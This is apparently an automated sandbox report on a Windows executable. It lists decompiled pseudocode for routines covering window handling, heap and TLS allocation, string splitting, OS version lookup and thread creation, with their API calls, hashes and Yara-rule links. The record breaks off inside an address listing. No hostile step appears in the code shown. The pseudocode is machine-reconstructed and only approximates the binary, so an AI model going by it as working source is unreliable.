APIs

DestroyWindow.USER32(?), ref: 00408E8D
GetWindowLongW.USER32(?,000000EB), ref: 00408E9C
GetWindowTextLengthW.USER32 ref: 00408EAA
HeapAlloc.KERNEL32(00000000), ref: 00408EBF
GetWindowTextW.USER32 ref: 00408ECF
DestroyWindow.USER32(?), ref: 00408EDD
UnregisterClassW.USER32 ref: 00408EF3

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$DestroyText$AllocClassHeapLengthLongUnregister
String ID:
API String ID: 2895088630-0
Opcode ID: ceb989c364a64a77ca9268f30e2f22e8c5aea8804ddba6594e2583a28b0bbdfa
Instruction ID: f973f4e0a74c58c8f3dc6b35f62902cd2ce24d79b6cf0357400b1c80f0f6dd69
Opcode Fuzzy Hash: ceb989c364a64a77ca9268f30e2f22e8c5aea8804ddba6594e2583a28b0bbdfa
Instruction Fuzzy Hash: 5011CE3100821AFBCB116F64FD0C9AA3F66EB18395B11C03AF949A22F4DA799951DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409528, Relevance: 9.1, APIs: 6, Instructions: 68
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409528(long _a4) {
				int _t11;
				long _t12;
				int _t15;
				intOrPtr* _t16;
				intOrPtr* _t17;
				intOrPtr* _t22;
				intOrPtr* _t23;

				if(_a4 == 0) {
					_t22 =  *0x4170e4; // 0x0
					if(_t22 != 0) {
						do {
							_t16 =  *_t22;
							_t6 = _t22 + 8; // 0x8
							_t25 = _t6;
							_t12 = GetCurrentThreadId();
							if( *_t6 == _t12) {
								if( *((char*)(_t22 + 0x11)) != 0) {
									EnableWindow( *(_t22 + 0xc), 1);
								}
								if( *((char*)(_t22 + 0x10)) != 0) {
									SetWindowPos( *(_t22 + 0xc), 0xffffffff, 0, 0, 0, 0, 3);
								}
								_t12 = E0040DAD2(0x4170e4, _t25);
							}
							_t22 = _t16;
						} while (_t16 != 0);
						return _t12;
					}
				} else {
					_t11 = EnumWindows(E004094A7, _a4);
					_t23 =  *0x4170e4; // 0x0
					if(_t23 != 0) {
						do {
							_t17 =  *_t23;
							_t15 = GetCurrentThreadId();
							if( *((intOrPtr*)(_t23 + 8)) == _t15 &&  *((char*)(_t23 + 0x10)) != 0) {
								_t15 = SetWindowPos( *(_t23 + 0xc), 0xfffffffe, 0, 0, 0, 0, 3);
							}
							_t23 = _t17;
						} while (_t17 != 0);
						return _t15;
					}
				}
				return _t11;
			}

0x00409530
0x0040957d
0x00409585
0x0040958a
0x0040958a
0x0040958c
0x0040958c
0x0040958f
0x00409598
0x0040959e
0x004095a5
0x004095a5
0x004095af
0x004095bc
0x004095bc
0x004095c8
0x004095ce
0x004095cf
0x004095d1
0x00000000
0x004095d5
0x00409532
0x0040953b
0x00409541
0x00409549
0x00409551
0x00409551
0x00409553
0x0040955c
0x0040956f
0x0040956f
0x00409575
0x00409577
0x00000000
0x00409551
0x00409549
0x004095d9

APIs

EnumWindows.USER32(004094A7,?), ref: 0040953B
GetCurrentThreadId.KERNEL32 ref: 00409553
SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 0040956F
GetCurrentThreadId.KERNEL32 ref: 0040958F
EnableWindow.USER32(?,00000001), ref: 004095A5
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 004095BC

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: ce8455a101d240a02109509219b5cc618f809e6c491c4b9dbe06f1833ead8f36
Instruction ID: f5bff55c5df6c6442a3445df2da52706b8c810d9f19cb65a9eb7b3fa66b57753
Opcode Fuzzy Hash: ce8455a101d240a02109509219b5cc618f809e6c491c4b9dbe06f1833ead8f36
Instruction Fuzzy Hash: 6A11AC32609351BBD7324B17EC08F53BBA9AB81B21F15863EF456221E1DB759D00C618

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2F3, Relevance: 9.1, APIs: 6, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040D2F3(long _a4, long _a8, long _a12) {
				long _t7;
				long _t8;
				long* _t12;
				void* _t18;
				long _t21;
				signed int _t23;
				long _t28;
				long _t29;
				long _t30;
				void* _t31;

				_t29 = _a4;
				_t23 = _t29 & 0x00000003;
				if(_t23 != 0) {
					_t18 = 4;
					_t29 = _t29 + _t18 - _t23;
				}
				_t7 =  *0x41760c; // 0x10
				if(_t7 == 0) {
					 *0x417610 = TlsAlloc();
					TlsSetValue( *0x417610, HeapAlloc( *0x417008, 8, _t29));
					_t7 =  *0x41760c; // 0x10
				}
				_t28 = _t7;
				_t8 = _t7 + _t29;
				 *0x41760c = _t8;
				_t31 = HeapReAlloc( *0x417008, 8, TlsGetValue( *0x417610), _t8);
				TlsSetValue( *0x417610, _t31);
				_t30 = _a8;
				_t21 = _a12;
				if(_t30 != 0 || _t21 != 0) {
					_t12 = E0040DB12(0x417608, 0x14);
					 *_t12 = _t28;
					_t12[1] = _t30;
					_t12[2] = _t21;
					if(_t30 != 0) {
						 *_t30(_t31 + _t28);
					}
				}
				return _t28;
			}

0x0040d2f6
0x0040d2fd
0x0040d300
0x0040d304
0x0040d307
0x0040d307
0x0040d309
0x0040d316
0x0040d327
0x0040d339
0x0040d33b
0x0040d33b
0x0040d340
0x0040d342
0x0040d34b
0x0040d365
0x0040d36e
0x0040d370
0x0040d374
0x0040d37a
0x0040d387
0x0040d38e
0x0040d390
0x0040d393
0x0040d398
0x0040d39e
0x0040d3a0
0x0040d398
0x0040d3a7

APIs

TlsAlloc.KERNEL32(?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D318
HeapAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D32C
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D339
TlsGetValue.KERNEL32(00000010,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D350
HeapReAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D35F
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D36E

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: bf16ee7e76be1fa04c8f8f9f6ecfdcdea20948edfbd20feb47145de7ddf136ce
Instruction ID: 9f859b01fecb640b0c0eeeefa64339d4fa0418cdbc8b4e3825918bdf59145f1e
Opcode Fuzzy Hash: bf16ee7e76be1fa04c8f8f9f6ecfdcdea20948edfbd20feb47145de7ddf136ce
Instruction Fuzzy Hash: 76116072B44710AFD7119FA9EC48AA67BB9FB48760B05843AFA04D33A0D7359C048B6C

Uniqueness

Uniqueness Score: -1.00%

Function 00411CE4, Relevance: 9.0, APIs: 6, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00411CE4(void* _a4) {
				void* _t11;
				long _t16;
				void _t17;
				void* _t18;
				void* _t19;
				void* _t21;

				_t19 = _a4;
				__imp__UnregisterWait( *((intOrPtr*)(_t19 + 0xc)));
				CloseHandle( *(_t19 + 0x10));
				EnterCriticalSection(0x417680);
				_t17 =  *_t19;
				_t11 =  *(_t19 + 4);
				if(_t17 == 0) {
					 *0x41767c = _t11;
				} else {
					 *(_t17 + 4) = _t11;
				}
				_t18 =  *(_t19 + 4);
				if(_t18 != 0) {
					 *_t18 =  *_t19;
				}
				LeaveCriticalSection(0x417680);
				_t16 =  *(_t19 + 8);
				while(_t16 != 0) {
					_t21 = _t16;
					_t16 =  *_t16;
					 *((intOrPtr*)(_t21 + 4))( *((intOrPtr*)(_t21 + 8)));
					HeapFree( *0x417008, 0, _t21);
				}
				return HeapFree( *0x417008, _t16, _t19);
			}

0x00411ce7
0x00411cee
0x00411cf7
0x00411d03
0x00411d09
0x00411d0b
0x00411d10
0x00411d17
0x00411d12
0x00411d12
0x00411d12
0x00411d1c
0x00411d21
0x00411d25
0x00411d25
0x00411d28
0x00411d2e
0x00411d4c
0x00411d33
0x00411d35
0x00411d3a
0x00411d46
0x00411d46
0x00411d61

APIs

UnregisterWait.KERNEL32(?), ref: 00411CEE
CloseHandle.KERNEL32(?,?,?,?,00411E6A,?), ref: 00411CF7
EnterCriticalSection.KERNEL32(00417680,?,?,?,00411E6A,?), ref: 00411D03
LeaveCriticalSection.KERNEL32(00417680,?,?,?,00411E6A,?), ref: 00411D28
HeapFree.KERNEL32(00000000,00000000,?,?,?,00411E6A,?), ref: 00411D46
HeapFree.KERNEL32(?,?,?,?,?,00411E6A,?), ref: 00411D58

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
String ID:
API String ID: 4204870694-0
Opcode ID: abb9133c54fbe8d7efa3480d1120fe62ec6eeac9e18d1619677bbddffc82dd13
Instruction ID: 8f9f96d7996d446dd79b7cbdc6e3cce5d3da35cfe841f16b8799e142d118698f
Opcode Fuzzy Hash: abb9133c54fbe8d7efa3480d1120fe62ec6eeac9e18d1619677bbddffc82dd13
Instruction Fuzzy Hash: 6B012574202601BFCB119F15FD88A96BB79FF493513118139E61A87630C735AC51CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057F0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057F0(void* __ebx, void* __edi, void* __esi, wchar_t* _a4, intOrPtr _a8, wchar_t* _a12, intOrPtr _a16) {
				wchar_t* _v4;
				void* __ecx;
				signed int _t25;
				signed int _t26;
				void* _t27;
				long _t33;
				int _t34;
				wchar_t* _t36;
				wchar_t* _t38;
				int _t40;
				void* _t41;
				wchar_t* _t42;
				intOrPtr _t44;
				long* _t45;
				void* _t47;
				void* _t48;
				wchar_t* _t51;
				wchar_t* _t52;
				wchar_t* _t53;
				int _t55;
				void* _t60;

				_t44 = _a8;
				_t55 = 0;
				if(_t44 < 1) {
					return E0040E2A0(_t41, _a16);
				} else {
					_t51 = _a4;
					if(_t51 == 0) {
						_t51 = 0x412024;
					}
					_t42 = _a12;
					if(_t42 == 0) {
						_t42 = 0x412024;
						_a12 = 0x412024;
					}
					_t25 =  *_t42 & 0x0000ffff;
					_t47 = 0;
					_v4 = _t25;
					_t36 = _t51;
					_a4 = _t36;
					if(_t25 == 0 || _t42[0] == 0) {
						_t42 = _v4;
						while(1) {
							_t26 =  *_t51 & 0x0000ffff;
							if(_t26 == _t42 || _t26 == 0) {
								goto L20;
							}
							L23:
							_t51 =  &(_t51[0]);
							continue;
							L20:
							_t47 = _t47 + 1;
							if(_t47 == _t44) {
								_t55 = _t51 - _t36 >> 1;
							} else {
								if(_t26 != 0) {
									_t17 =  &(_t51[0]); // 0x0
									_t36 = _t17;
									goto L23;
								}
							}
							goto L26;
						}
					} else {
						_t38 = _t42;
						_t8 =  &(_t38[0]); // 0x412026
						_t45 = _t8;
						do {
							_t33 =  *_t38;
							_t38 =  &(_t38[0]);
						} while (_t33 != 0);
						_t40 = _t38 - _t45 >> 1;
						while(1) {
							L10:
							_t34 = wcsncmp(_t51, _t42, _t40);
							_t60 = _t60 + 0xc;
							if(_t34 != 0 &&  *_t51 != _t55) {
								break;
							}
							_t47 = _t47 + 1;
							if(_t47 == _a8) {
								_t36 = _a4;
								_t55 = _t51 - _t36 >> 1;
							} else {
								if( *_t51 == _t55) {
									_t36 = _a4;
								} else {
									_t42 = _a12;
									_t51 = _t51 + _t40 * 2;
									_a4 = _t51;
									continue;
								}
							}
							goto L26;
						}
						_t42 = _a12;
						_t51 =  &(_t51[0]);
						goto L10;
					}
					L26:
					_t27 = E0040E180(_t42, _t51);
					_t52 = _a12;
					_t48 = _t27;
					if(_t48 != 0) {
						memmove(E0040E1D0(_t42, _t52), _t36, _t55 * 2);
						_t60 = _t60 + 0xc;
					}
					_t53 = E0040E200(_t55, _t52);
					if(_t48 == 0) {
						wcsncpy(_t53, _t36, _t55);
					}
					 *((short*)(_t53 + _t55 * 2)) = 0;
					return 0;
				}
			}

0x004057f1
0x004057f6
0x004057fb
0x0040591a
0x00405801
0x00405803
0x0040580a
0x0040580c
0x0040580c
0x00405811
0x00405817
0x00405819
0x0040581e
0x0040581e
0x00405822
0x00405825
0x00405827
0x0040582b
0x0040582d
0x00405834
0x00405892
0x00405896
0x00405896
0x0040589c
0x00000000
0x00000000
0x004058b0
0x004058b0
0x00000000
0x004058a3
0x004058a3
0x004058a6
0x004058b9
0x004058a8
0x004058ab
0x004058ad
0x004058ad
0x00000000
0x004058ad
0x004058ab
0x00000000
0x004058a6
0x0040583c
0x0040583c
0x0040583e
0x0040583e
0x00405841
0x00405841
0x00405844
0x00405847
0x0040584e
0x00405850
0x00405850
0x00405853
0x00405858
0x0040585d
0x00000000
0x00000000
0x0040586d
0x00405872
0x00405886
0x0040588e
0x00405874
0x00405877
0x004058bd
0x00405879
0x00405879
0x0040587d
0x00405880
0x00000000
0x00405880
0x00405877
0x00000000
0x00405872
0x00405864
0x00405868
0x00000000
0x00405868
0x004058c1
0x004058c2
0x004058c7
0x004058cb
0x004058cf
0x004058e1
0x004058e6
0x004058e6
0x004058f0
0x004058f4
0x004058f9
0x004058fe
0x00405904
0x0040590c
0x0040590c

APIs

wcsncmp.MSVCRT(00000000,?,?,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00416020,00000001,00000000), ref: 00405853
memmove.MSVCRT ref: 004058E1
wcsncpy.MSVCRT ref: 004058F9

Strings

$ A, xrefs: 00405819
$ A, xrefs: 0040580C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: memmovewcsncmpwcsncpy
String ID: $ A$$ A
API String ID: 1452150355-1089091023
Opcode ID: 01dc566c673ae38027766f4b1f49813a2af966d144f1d70881dd4b0cdd00eead
Instruction ID: ed4ff4c18a2212810426b4098d69787d901a9ef51c17c0146ffb5f4eacdccb4b
Opcode Fuzzy Hash: 01dc566c673ae38027766f4b1f49813a2af966d144f1d70881dd4b0cdd00eead
Instruction Fuzzy Hash: 9F310636904B058BC720BB45888057B73A8EF84344F14893FEC85773C2EB789D61CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405553, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00405553(void* _a4) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t5;
				signed int _t6;
				void* _t10;

				_t10 = _a4;
				memset(_t10, 0, 0x11c);
				 *_t10 = 0x11c;
				_t3 = GetModuleHandleW(L"ntdll.dll");
				if(_t3 == 0) {
					L3:
					return 0;
				}
				_t5 = GetProcAddress(_t3, "RtlGetVersion");
				if(_t5 == 0) {
					goto L3;
				}
				_t6 =  *_t5(_t10);
				asm("sbb eax, eax");
				return  ~_t6 + 1;
			}

0x00405554
0x00405562
0x0040556a
0x00405571
0x00405579
0x00405595
0x00000000
0x00405595
0x00405581
0x00405589
0x00000000
0x00000000
0x0040558c
0x00405590
0x00000000

APIs

memset.MSVCRT ref: 00405562
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581

Strings

RtlGetVersion, xrefs: 0040557B
ntdll.dll, xrefs: 0040556C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcmemset
String ID: RtlGetVersion$ntdll.dll
API String ID: 3137504439-1489217083
Opcode ID: 2ebf752f119f1388f39407ae3350cfacb0de20c2e2bdd879fe172bcb8d336fbf
Instruction ID: d7b210edb93dcdeb2ccead98f224fd87bedff0db37ff7f51e22340fec2856e60
Opcode Fuzzy Hash: 2ebf752f119f1388f39407ae3350cfacb0de20c2e2bdd879fe172bcb8d336fbf
Instruction Fuzzy Hash: E0E0DF317606127AD6202B32AC09FCB2F9DDFCAB00B15043AB109F21C4E67CC5018ABD

Uniqueness

Uniqueness Score: -1.00%

Function 00409FE3, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 80
memoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00409FE3(void** _a4, wchar_t* _a8, intOrPtr _a12) {
				signed int _t35;
				wchar_t* _t41;
				wchar_t* _t50;
				void* _t57;
				void** _t58;
				signed int _t59;

				_t50 = _a8;
				_t58 = _a4;
				if(_a12 != 1) {
					L4:
					if(_t50 == 0) {
						_t50 = 0x412024;
					}
					_push(_t50);
					if((_t58[0xb] & 0x00000001) == 0) {
						_t35 = E0040A24F();
					} else {
						_t35 = E0040A26A();
					}
					_t59 = _t35 % _t58[9];
					_t57 = E0040D51F(_t58[0xe]);
					if(_t57 == 0) {
						L14:
						return _t57;
					} else {
						_t41 = HeapAlloc( *0x417008, 0, 2 + wcslen(_t50) * 2);
						 *(_t57 + 4) = _t41;
						wcscpy(_t41, _t50);
						 *_t57 =  *(_t58[1] + _t59 * 4);
						 *(_t58[1] + _t59 * 4) = _t57;
						_t58[2] = _t58[2] & 0x00000000;
						_t58[0xa] = _t58[0xa] + 1;
						 *_t58 = _t57;
						_t57 = _t57 + 8;
						_t58[5] = _t59;
						L11:
						if(_t57 != 0) {
							memset(_t57, 0, _t58[7]);
							if((_t58[0xb] & 0x00000002) != 0) {
								E00411B6F(_t57, _t58[4]);
							}
						}
						goto L14;
					}
				}
				_t57 = E00409F58(_t58, _t50);
				if(_t57 == 0) {
					goto L4;
				}
				if(_t58[4] != 0) {
					E00411A6A(_t48, _t57, _t58[4]);
				}
				goto L11;
			}

0x00409fe9
0x00409fef
0x00409ff4
0x0040a018
0x0040a01a
0x0040a01c
0x0040a01c
0x0040a025
0x0040a026
0x0040a02f
0x0040a028
0x0040a028
0x0040a028
0x0040a03d
0x0040a044
0x0040a048
0x0040a0b1
0x0040a0b7
0x0040a04a
0x0040a061
0x0040a069
0x0040a06c
0x0040a079
0x0040a07e
0x0040a081
0x0040a085
0x0040a088
0x0040a08a
0x0040a08d
0x0040a090
0x0040a092
0x0040a09a
0x0040a0a6
0x0040a0ac
0x0040a0ac
0x0040a0a6
0x00000000
0x0040a092
0x0040a048
0x00409ffd
0x0040a001
0x00000000
0x00000000
0x0040a007
0x0040a011
0x0040a011
0x00000000

APIs

wcslen.MSVCRT ref: 0040A04B
HeapAlloc.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00000000,00409E6C,?,?,00000000,?,?,00403C62), ref: 0040A061
wcscpy.MSVCRT ref: 0040A06C
memset.MSVCRT ref: 0040A09A

Strings

$ A, xrefs: 0040A01C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID: $ A
API String ID: 1807340688-1415209610
Opcode ID: b573f2360bade24b46352e79e7494a938b3e836be09a0675c3f18950fe9764d4
Instruction ID: 6837a03683538e1df5e2bdda5e350eaa22186be17e149c7482ea07580a24f61f
Opcode Fuzzy Hash: b573f2360bade24b46352e79e7494a938b3e836be09a0675c3f18950fe9764d4
Instruction Fuzzy Hash: 2F21F732400B04AFC331AF259881B67B7F5EF88318F14453FFA4562692D739A8148B1E

Uniqueness

Uniqueness Score: -1.00%

Function 00409D80, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D80(intOrPtr _a4, intOrPtr _a8, intOrPtr _a16) {
				void* _v0;
				void* _t25;
				void* _t31;
				void* _t34;
				signed int _t36;
				intOrPtr _t38;
				long _t39;
				intOrPtr _t41;
				void* _t42;

				_t41 = _a16;
				E00409E6F(_v0);
				_t34 = HeapAlloc( *0x417008, 0, 0x3c);
				if(_t34 != 0) {
					_t36 =  *(_t42 + 0x24);
					if(_t36 <= 0) {
						_t36 = 1;
					}
					_t25 = HeapAlloc( *0x417008, 8, _t36 << 2);
					 *(_t34 + 4) = _t25;
					if(_t25 == 0) {
						HeapFree( *0x417008, 0, _t34);
						_t34 = 0;
					} else {
						 *((intOrPtr*)(_t34 + 0x20)) = _a8;
						 *(_t34 + 0x24) = _t36;
						_t38 = _a4;
						 *_t34 = 0;
						 *((intOrPtr*)(_t34 + 0x1c)) = _t38;
						 *((intOrPtr*)(_t34 + 0x10)) =  *((intOrPtr*)(_t42 + 0x1c));
						 *((intOrPtr*)(_t34 + 0x28)) = 0;
						 *(_t34 + 0x2c) = 0;
						 *((intOrPtr*)(_t34 + 0x30)) = _t41;
						 *((intOrPtr*)(_t34 + 0x34)) = 0;
						if(E00411744( *((intOrPtr*)(_t42 + 0x1c))) != 0) {
							 *(_t34 + 0x2c) =  *(_t34 + 0x2c) | 0x00000002;
						}
						_t39 = _t38 + 8;
						 *((intOrPtr*)(_t34 + 0x38)) = E0040D7B9(_t39, 0x10, 0x10000, 4);
						_t31 = HeapAlloc( *0x417008, 8, _t39);
						 *(_t34 + 0xc) = _t31;
						 *((intOrPtr*)(_t31 + 4)) = 0x412024;
						_v0 = _t34;
					}
				}
				return _t34;
			}

0x00409d82
0x00409d8a
0x00409da1
0x00409da5
0x00409dac
0x00409db2
0x00409db6
0x00409db6
0x00409dc5
0x00409dc7
0x00409dcc
0x00409e3c
0x00409e42
0x00409dce
0x00409dd4
0x00409ddb
0x00409dde
0x00409de3
0x00409de5
0x00409de8
0x00409deb
0x00409dee
0x00409df1
0x00409df4
0x00409dfe
0x00409e00
0x00409e00
0x00409e0d
0x00409e19
0x00409e22
0x00409e24
0x00409e27
0x00409e2e
0x00409e2e
0x00409e44
0x00409e4a

APIs

Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409E9A
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409EA6
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,?,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409EBA
Part of subcall function 00409E6F: HeapFree.KERNEL32(00000000,00000000,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409ED0

HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409D9F
HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DC5
HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E22
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E3C

Strings

$ A, xrefs: 00409E27

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$Alloc
String ID: $ A
API String ID: 3901518246-1415209610
Opcode ID: ccb60d0c3c0d97d686ede39e266302f74ea26cab0db78b650e52f4041141fcd5
Instruction ID: 0e5c90150bc367b96ffc2f2020c4fe6cd7e8dd6a87ef93d6b65d9b762928b75a
Opcode Fuzzy Hash: ccb60d0c3c0d97d686ede39e266302f74ea26cab0db78b650e52f4041141fcd5
Instruction Fuzzy Hash: 66216D71644711ABD3118F2ADD01B46BBE8FF48750F40812AB608E7691D770EC65CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405492, Relevance: 7.6, APIs: 5, Instructions: 60
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405492(void* __ebx, _Unknown_base(*)()* _a4, void* _a8) {
				long _v4;
				long _t9;
				intOrPtr* _t11;
				void** _t16;
				intOrPtr* _t23;
				long _t25;
				void* _t26;

				_t25 = 0;
				_t26 = CreateThread(0, 0x1000, _a4, _a8, 0,  &_v4);
				if(_t26 != 0) {
					EnterCriticalSection(0x4176a0);
					_t23 =  *0x4170bc; // 0x0
					if(_t23 != 0) {
						do {
							_t4 = _t23 + 8; // 0x8
							_t16 = _t4;
							if(WaitForSingleObject( *_t16, _t25) != 0) {
								_t23 =  *_t23;
							} else {
								CloseHandle( *_t16);
								_t23 =  *_t23;
								E0040DAD2(0x4170bc, _t16);
							}
						} while (_t23 != 0);
					}
					_t9 =  *0x416110; // 0x1
					_t25 = _t9;
					 *0x416110 = _t9 + 1;
					_t11 = E0040DB12(0x4170bc, 0x10);
					 *_t11 = _t26;
					 *(_t11 + 4) = _t25;
					LeaveCriticalSection(0x4176a0);
				}
				return _t25;
			}

0x00405499
0x004054b1
0x004054b5
0x004054bd
0x004054c3
0x004054cb
0x004054ce
0x004054cf
0x004054cf
0x004054dc
0x004054f7
0x004054de
0x004054e0
0x004054e6
